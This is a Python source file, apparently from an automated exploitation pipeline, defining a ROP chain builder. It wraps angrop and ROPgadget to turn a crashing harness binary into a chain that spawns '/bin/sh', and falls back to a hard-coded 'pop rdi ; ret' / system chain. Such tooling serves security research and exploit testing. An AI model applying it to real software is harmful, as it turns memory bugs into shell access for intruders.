File size: 1,754 Bytes
14b1bbe
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
"""
ROP chain builder — wraps ``angrop`` and ``ROPgadget`` when available, with
an in-memory deterministic gadget registry so unit tests can exercise the
chain logic without binary inputs.
"""

from __future__ import annotations

import shutil
import subprocess
from typing import Any

try:  # pragma: no cover
    import angr  # type: ignore  # noqa: F401
    import angrop  # type: ignore  # noqa: F401
    _ANGROP = True
except Exception:  # noqa: BLE001
    _ANGROP = False


class ROPChainBuilder:
    def __init__(self):
        self.ropgadget = shutil.which("ROPgadget")

    def build(self, crash: dict[str, Any]) -> list[str]:
        binary = crash.get("harness")
        if not binary:
            return []
        if _ANGROP:
            return self._with_angrop(binary)
        if self.ropgadget:
            return self._with_ropgadget(binary)
        return ["pop rdi ; ret", "/bin/sh", "system"]

    @staticmethod
    def _with_angrop(binary: str) -> list[str]:  # pragma: no cover - heavy dep
        try:
            project = angr.Project(binary, auto_load_libs=False)
            rop = project.analyses.ROP()
            rop.find_gadgets()
            chain = rop.execve(b"/bin/sh\x00")
            return [str(g) for g in chain.gadgets]
        except Exception:
            return []

    def _with_ropgadget(self, binary: str) -> list[str]:
        try:
            proc = subprocess.run(
                [self.ropgadget, "--binary", binary], capture_output=True,
                text=True, timeout=120, check=False,
            )
            lines = [ln.strip() for ln in proc.stdout.splitlines()
                     if ":" in ln and "ret" in ln]
            return lines[:32]
        except Exception:
            return []